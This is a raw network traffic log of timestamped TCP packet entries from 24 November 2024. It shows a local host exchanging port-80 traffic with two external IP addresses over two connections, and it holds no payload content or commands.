Nov 24, 2024 12:24:28.253710985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.254198074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.254339933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.254457951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.255125046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.255171061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.328623056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.328764915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.328809023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.328850985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.329005957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.329194069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.329240084 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.329858065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.329984903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.330039024 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.330658913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.330817938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.330862999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.331523895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.331571102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.331650019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.332381964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.332436085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.332467079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.333175898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.333223104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.333264112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.334032059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.334114075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.334172964 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.334855080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.334984064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.335037947 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.335809946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.335892916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.335939884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.336545944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.336649895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.336667061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.336683989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.336708069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.336728096 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.336961985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.337011099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.337058067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.337337971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.337389946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.337392092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.337460995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.338100910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.338155031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.338202000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.338306904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.338323116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.338351011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.338429928 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.339026928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.339078903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.339119911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.339232922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.339250088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.339282990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.339310884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.339875937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.339988947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.340035915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.340039968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.340058088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.340101004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.340679884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.340775013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.340820074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.341140032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.341185093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.341197014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.341217995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.341523886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.341640949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.341695070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.342200994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.342351913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.342367887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.342401981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.342427015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.342436075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.343185902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.343240023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.343286037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.343344927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.343362093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.343389988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.343404055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.344022036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.344152927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.344203949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.344393015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.344530106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.344573975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.344856977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.344885111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.344897985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.345558882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.345726013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.345742941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.345778942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.345809937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.345812082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.346518040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.346623898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.346641064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.346669912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.346714020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.346716881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.346755981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.347342968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.347394943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.347440958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.347707987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.347757101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.347826958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.348172903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.348225117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.348258972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.348282099 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.348803043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.348912001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.348972082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.349001884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.349092007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.349137068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.349853039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.349904060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.349922895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.350013971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.350030899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.350054026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.350086927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.350671053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.350733995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.350778103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.351021051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.351094961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.351191044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.351509094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.351553917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.351603985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.351630926 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.352214098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.352287054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.352339029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.352368116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.352428913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.352472067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.353173971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.353218079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.353255033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.353271008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.353324890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.353347063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.354000092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.354060888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.354062080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.354103088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.354377031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.354434967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.354475021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.354517937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.354823112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.354986906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.355029106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.355451107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.355572939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.355640888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.355667114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.355715036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.355756044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.356508017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.356554031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.356559038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.356575012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.356625080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.356646061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.356709957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.357336044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.357460976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.357556105 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.357669115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.357773066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.357824087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.358170033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.358211040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.358225107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.358771086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.358877897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.358926058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.358973026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.359097004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.359153032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.359889030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.359941006 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.360042095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.360058069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.360074043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.360109091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.360121965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.360698938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.360744953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.360790014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.360979080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.361073017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.361097097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.361140966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.361491919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.361546040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.361598015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.362083912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.362164974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.362217903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.362323999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.362432957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.362461090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.363198996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.363241911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.363257885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.363282919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.363317013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.363332033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.364007950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.364039898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.364063025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.364119053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.364303112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.364440918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.364485979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.364852905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.364926100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.364970922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.365441084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.365488052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.365583897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.365672112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.365724087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.365725040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.365765095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.366494894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.366523027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.366576910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.366579056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.366583109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.366961002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.367635012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.367682934 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.367733002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.367777109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.368722916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.368771076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.368818045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.368861914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.369885921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.369935036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.369982004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.370023966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.370997906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.371043921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.371167898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.371213913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.372178078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.372222900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.372267008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.372328997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.373157024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.373203039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.373248100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.373290062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.374257088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.374301910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.374347925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.374407053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.375377893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.375422955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.375474930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.375519037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.376467943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.376514912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.376565933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.376607895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.377609968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.377656937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.377753973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.377799988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.378839016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.378885984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.378932953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.378978968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.379829884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.379882097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.379920006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.379964113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.380896091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.380942106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.380985022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.381025076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.382009983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.382062912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.382069111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.382110119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.383099079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.383145094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.383207083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.383276939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.384315014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.384362936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.384459972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.384505987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.385351896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.385396957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.385591030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.385636091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.386389017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.386435986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.386511087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.386554956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.387538910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.387586117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.387634993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.387677908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.388632059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.388679028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.388726950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.388771057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.389739990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.389786005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.389880896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.389926910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.390846014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.390901089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.390940905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.391009092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.391974926 CET	80	49793	31.41.244.11	192.168.2.4
